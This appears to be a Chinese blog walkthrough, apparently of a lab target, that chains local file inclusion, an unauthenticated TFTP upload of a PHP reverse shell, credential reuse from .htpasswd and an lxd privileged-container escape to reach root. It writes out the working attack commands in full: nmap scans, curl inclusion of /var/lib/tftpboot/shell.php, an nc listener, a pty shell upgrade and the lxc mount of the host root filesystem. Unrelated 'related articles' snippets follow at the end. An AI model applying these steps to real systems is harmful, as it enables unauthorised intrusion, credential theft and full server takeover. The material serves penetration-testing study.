当前位置: 首页 > news >正文

本地文件包含漏洞利用

目录

    • 前期信息收集
    • 获取网站权限
    • 获取服务器权限
    • 纵向提权

前期信息收集

拿到目标的资产,先试一下IP能不能访问
在这里插入图片描述

探测一下目标的端口运行的是什么服务

nmap -sC -sV xx.xx9.95.185 -Pn

在这里插入图片描述

获取网站权限

我们可以知道目标的80端口上运行着http服务,服务器是ubuntu,,中间件是apache/2.4.29,语言可能用的是PHP的,还有一个信息资产

访问信息资产http://xx.xxx.95.185/?file=home.php,发现可以访问
在这里插入图片描述

收集一下这个网站的信息
在这里插入图片描述

点一下这些功能键,看看有什么作用,发现没有什么用
在这里插入图片描述

这下子,我们只能去查一下apache/2.4.29有什么漏洞
在这里插入图片描述

一个个翻,发现他可能存在文件包含和远程命令执行的漏洞

https://www.exploit-db.com/exploits/50383

在这里插入图片描述

试一下POC,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2
在这里插入图片描述

返回了404报错页面,我们试一下其它的POC,/etc/passwd
在这里插入图片描述

说明存在文件包含漏洞,我们看一下能不能读取一下其它的敏感文件

curl 'http://xx.xxx.138.134/?file=home.php'

这个代码能直接在命令行查看网页源代码
http://xx.xxx.138.134/?file=phpinfo.php,是空白的,表示系统上没有这个文件
在这里插入图片描述

我们回过头继续去看/etc/passwd,发现了tftp,这个好像是传输协议,我们去搜索一下
在这里插入图片描述

发现确实是传输协议,而且还是文件传输协议,去搜索一下,看看这个协议之前有没有出过漏洞
http://blog.iis7.com/article/15496.html
这篇文章示例,我们参考一下

tftp使用的是udp协议,默认端口是69,我们使用nmap扫描一下udp端口,看一下

nmap -sU IP地址

在这里插入图片描述

扫描出存在69端口,说明服务器有使用tftp传输协议,前面nmap没有扫描到,是因为前面检测的是TCP的端口,UDP这块没有检测到

我们接下来用tftp软件去连接UDP 69端口,查看一下tftp的帮助文件,了解一下这个简单文件传输协议都有什么命令

apt install tftp
man tftp

在这里插入图片描述

因为tftp协议是不校验账号密码的,所以我们可以直接使用这个协议把木马文件上传上去,我们现在的想法是把shell脚本给上传上去,因为我们前面通过信息收集知道这个服务器有使用php语言的环境,所以我们上传的是PHP语言的木马,下面这个是反向shell木马的部分内容
在这里插入图片描述

$ip指的是我们公网服务器连接内网目标主机的端口IP
$port指的是我们公网服务器运行NC监听的端口
先获取我们的公网服务器IP地址

在这里插入图片描述

在root目录下创建shell.php,并且内容如下
在这里插入图片描述

连接tftp协议,上传反向shell.php脚本
在这里插入图片描述

现在文件上传成功,我们需要在本地开启nc监听端口,接收传回来的信息

nc -lnvp 334

在这里插入图片描述

因为这个网站存在文件包含漏洞,所以我们可以访问我们上传上去的反向shell文件,触发木马文件,以进行连接;我们通过前面的etc/passwd文件,知道我们上传上去的文件是保存在/var/lib/tftpboot

上命令,成功访问到该文件

curl 'http://xx.xxx.95.185/?file=/var/lib/tftpboot/shell.php'

在这里插入图片描述

收到反弹shell
在这里插入图片描述

返回200,说明文件存在
在这里插入图片描述

在shell里面输入命令,查看一下系统文件

ls

在这里插入图片描述

uname -a

查看服务器的操作系统信息
在这里插入图片描述

whoami

看一下我们当前的角色
在这里插入图片描述

我们需要进行提权,但是我们收到命令界面不是完全交互式的,我们输入下面命令,让我们更好操作一点

python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

获取服务器权限

提权的最好方式就是去寻找服务器上有没有存放账号密码的地方,而这个地方通常是web服务器目录下面,通过passwd文件,我们知道web服务器目录存放在var/www,我们去这个目录下面看看
在这里插入图片描述

确实是web目录,我们进入网站源代码下面去看看,发现了一个可能存放账号密码的文件
在这里插入图片描述

我们打开看看

cat .htpasswd

在这里插入图片描述

这是一个网站的账号密码并且通过passwd,我们知道服务器有一个账号名是mike的,并且权限要比www-data大
看一下另外一个隐藏文件夹

cat .htaccess

在这里插入图片描述

一般来说账号的密码都是通用的,我们可以试着登一下服务器mike的账号

su mike

在这里插入图片描述

登录成功
查看一下这个账号的权限和组

id
groups

在这里插入图片描述

纵向提权

lxd是什么,不知道,我们去搜索一下

https://blog.csdn.net/yaxuan88521/article/details/128065158
https://www.freebuf.com/articles/system/216803.html

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

通过网上去了解lxd,我们知道LXD是一个轻量级容器管理程序,这个程序存在漏洞,可以用来提权,我们参考FB复现一波
先从GitHub库下载构建好的Alpine:

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

上面的命令运行完,是下面这个结果
在这里插入图片描述

之后我们需要将tar.gz文件发送至目标系统,我这边选择的是2021版本

python -m http.server

在这里插入图片描述

cd /tmp
wget http://xx.xx.15.157:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz

在这里插入图片描述

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

在这里插入图片描述

使用“list”命令即可检查可用的容器列表

lxc image list

在这里插入图片描述

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Id

在这里插入图片描述

提权成功

cd /mnt/root/root

在这里插入图片描述

cd /mnt/root/

在这里插入图片描述

相关文章:

本地文件包含漏洞利用

目录 前期信息收集获取网站权限获取服务器权限纵向提权 前期信息收集 拿到目标的资产,先试一下IP能不能访问 探测一下目标的端口运行的是什么服务 nmap -sC -sV xx.xx9.95.185 -Pn获取网站权限 我们可以知道目标的80端口上运行着http服务,服务器是u…...

【docker】docker的常用命令

📝个人主页:五敷有你 🔥系列专栏:中间件 ⛺️稳中求进,晒太阳 常规命令 docker version #查看docker 版本信息docker info #显示docker 的系统信息,包括镜像和容器数量docker --help #查看所有的命…...

jmeter实战

jmeter学习 1,接口在定义时,post请求参数尽量放在body里面,get请求参数尽量放在parameters里面,否则会导致jmeter请求接口报错的问题(jmeter底层有较为严格的请求格式) 2,定义全局变量使用:Config Elemen…...

面试官常问问题

1、请你简单的自我介绍一下? 【Tips】① 口述内容不可与简历内容冲突;②阐述方式避免过度官方 且语速较快;③言简意赅,直击要害,抓重点突出项;④面试前应自己模拟练习几次,避免过度紧张导致的口…...

外包就干了2个月,技术退步明显....

先说情况,大专毕业,18年通过校招进入湖南某软件公司,干了接近4年的功能测试,今年年初,感觉自己不能够在这样下去了,长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能测试&#xf…...

面向对象 汇总(详细内容见Day12—16)

面向对象 汇总(详细内容见Day12—16) 文章目录 面向对象 汇总(详细内容见Day12—16)一、概念二、类三、对象四、成员属性/成员变量五、成员方法六、构造方法七、private - 私有化八、封装九、this - 本对象十、分包十一、static -…...

结构体联合体枚举和位段

文章目录 结构体结构体类型的声明特殊的声明 结构的自引用结构体变量的定义和初始化结构体内存对齐为什么要内存对齐结构体传参结构体实现位段(位段的填充&可移植性)位段位段的内存分配空间如何开辟位段的跨平台问题位段的应用 枚举枚举类型的定义枚…...

人类程序员真要失业?首位“AI软件工程师”亮相引爆科技圈

初创公司Cognition成立不到两个月,但已经拥有十名天才工程师。他们推出了一款名为Devin的人工智能(AI)助手,可以协助人类软件工程师完成各种开发任务。Devin与现有的其他AI编码者不同,它能够从头开始构建网站、自动部署…...

redis的过期策略以及内存淘汰机制

redis采用的是定期删除惰性删除策略。 为什么不用定时删除策略? 定时删除,用一个定时器来负责监视key,过期则自动删除。虽然内存及时释放,但是十分消耗CPU资源。在大并发请求下,CPU要 将时间应用在处理请求,而不是删除key,因此没有采用这一策…...

华为数通方向HCIP-DataCom H12-821题库(多选题:161-180)

第161题 以下关于IPv6优势的描述,正确的是哪些项? A、底层自身携带安全特性 B、加入了对自动配置地址的支持,能够无状态自动配置地址 C、路由表相比IPv4会更大,寻址更加精确 D、头部格式灵活,具有多个扩展头 【参考答案】ABD 【答案解析】 第162题 在OSPF视图下使用Filt…...

网络通信与网络协议

网络编程是指利用计算机网络实现程序之间通信的一种编程方式。在网络编程中,程序需要通过网络协议(如 TCP/IP)来进行通信,以实现不同计算机之间的数据传输和共享。在网络编程中,通常有三个基本要素 IP 地址:定位网络中某台计算机端口号port:定…...

【矩阵】240. 搜索二维矩阵 II【中等】

搜索二维矩阵 II 编写一个高效的算法来搜索 m x n 矩阵 matrix 中的一个目标值 target 。该矩阵具有以下特性:每行的元素从左到右升序排列。每列的元素从上到下升序排列。 示例 1: 输入:matrix [[1,4,7,11,15],[2,5,8,12,19],[3,6,9,16,22…...

详解uniapp的生命周期

这篇文章主要介绍了 uniapp 的生命周期, 应用生命周期是指应用程序从启动到关闭的整个过程,包括应用程序的启动、前后台切换、退出等, 需要的朋友可以参考下 Uniapp 作为一款跨平台应用开发框架,具有丰富的生命周期,以下是 Uniapp 的生命周期…...

鸿蒙Harmony应用开发—ArkTS声明式开发(基础手势:PluginComponent)

提供外部应用组件嵌入式显示功能,即外部应用提供的UI可在本应用内显示。 说明: 该组件从API Version 9开始支持。后续版本如有新增内容,则采用上角标单独标记该内容的起始版本。本组件为系统接口。 子组件 无 接口 PluginComponent(value:…...

mysql笔记:15. 事务和锁

文章目录 一、事务概述二、事务基本操作三、事务保存点四、事务的隔离级别1. READ UNCOMMITTED设置事务的隔离级别 2. READ COMMITTED3. REPEATABLE READ4. SERIALIZABLE 五、MySQL的锁InnoDB的锁类型1. InnoDB的行级锁2. InnoDB的表级锁 死锁 在开发过程中,我们经常…...

Learn OpenGL 15 面剔除

面剔除 尝试在脑子中想象一个3D立方体,数数你从任意方向最多能同时看到几个面。如果你的想象力不是过于丰富了,你应该能得出最大的面数是3。你可以从任意位置和任意方向看向这个球体,但你永远不能看到3个以上的面。所以我们为什么要浪费时间…...

EndeavourOs(arch系)安装sunpinyin输入法(ibus) + 迅雷(xunlei-bin)

输入法 yay -S ibus yay -S ibus-libpinyin yay -S ibus-sunpinyin yay -Q ibus ibus-libpinyin ibus-sunpinyin #验证 # 注销然后打开ibus config... # 在Input Method 添加Chinese->SunPinYin # 使用Ctrl Space, 默认Super Space, 请自行修改 # 再次注销,开…...

Spring Cache框架的介绍和使用

Spring Cache spring cache是一个框架,实现类基于注解的缓存功能,只需要简单的加一个注解,就能实现缓存功能,大大简化我们在业务中操作缓存的代码。 spring cache只是提供了一层抽象,底层可以切换不同的cache实现&am…...

perl 用 XML::Parser 解析 XML文件,访问哈希

本篇我们会看到 Perl 成为知名编程语言的关键特色--哈希 hash(2000年以前叫:关联数组)。 在Perl 中,可以使用各种模块和函数来解析 XML元素和属性。其中,最古老的模块是 XML::Parser,它提供了一组完整的X…...

MATLAB中的矩阵和数组,它们之间有什么区别?

MATLAB中的矩阵和数组:概念、区别与联系 MATLAB(Matrix Laboratory,矩阵实验室)作为一款强大的数学软件,广泛应用于工程、科学、数学、计算机科学等领域。在MATLAB中,矩阵和数组是两个核心概念&#xff0c…...

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板,载入页面后,会显示引导弹窗,适用于引导用户使用页面,点击完成后,会显示下一个引导弹窗,直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

云原生核心技术 (7/12): K8s 核心概念白话解读(上):Pod 和 Deployment 究竟是什么?

大家好,欢迎来到《云原生核心技术》系列的第七篇! 在上一篇,我们成功地使用 Minikube 或 kind 在自己的电脑上搭建起了一个迷你但功能完备的 Kubernetes 集群。现在,我们就像一个拥有了一块崭新数字土地的农场主,是时…...

C++实现分布式网络通信框架RPC(3)--rpc调用端

目录 一、前言 二、UserServiceRpc_Stub 三、 CallMethod方法的重写 头文件 实现 四、rpc调用端的调用 实现 五、 google::protobuf::RpcController *controller 头文件 实现 六、总结 一、前言 在前边的文章中,我们已经大致实现了rpc服务端的各项功能代…...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能,包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试

作者:Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位:中南大学地球科学与信息物理学院论文标题:BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接:https://arxiv.…...

Cesium1.95中高性能加载1500个点

一、基本方式&#xff1a; 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...

什么是库存周转?如何用进销存系统提高库存周转率?

你可能听说过这样一句话&#xff1a; “利润不是赚出来的&#xff0c;是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业&#xff0c;很多企业看着销售不错&#xff0c;账上却没钱、利润也不见了&#xff0c;一翻库存才发现&#xff1a; 一堆卖不动的旧货…...

(二)原型模式

原型的功能是将一个已经存在的对象作为源目标,其余对象都是通过这个源目标创建。发挥复制的作用就是原型模式的核心思想。 一、源型模式的定义 原型模式是指第二次创建对象可以通过复制已经存在的原型对象来实现,忽略对象创建过程中的其它细节。 📌 核心特点: 避免重复初…...

uniapp微信小程序视频实时流+pc端预览方案

方案类型技术实现是否免费优点缺点适用场景延迟范围开发复杂度​WebSocket图片帧​定时拍照Base64传输✅ 完全免费无需服务器 纯前端实现高延迟高流量 帧率极低个人demo测试 超低频监控500ms-2s⭐⭐​RTMP推流​TRTC/即构SDK推流❌ 付费方案 &#xff08;部分有免费额度&#x…...

人工智能--安全大模型训练计划:基于Fine-tuning + LLM Agent

安全大模型训练计划&#xff1a;基于Fine-tuning LLM Agent 1. 构建高质量安全数据集 目标&#xff1a;为安全大模型创建高质量、去偏、符合伦理的训练数据集&#xff0c;涵盖安全相关任务&#xff08;如有害内容检测、隐私保护、道德推理等&#xff09;。 1.1 数据收集 描…...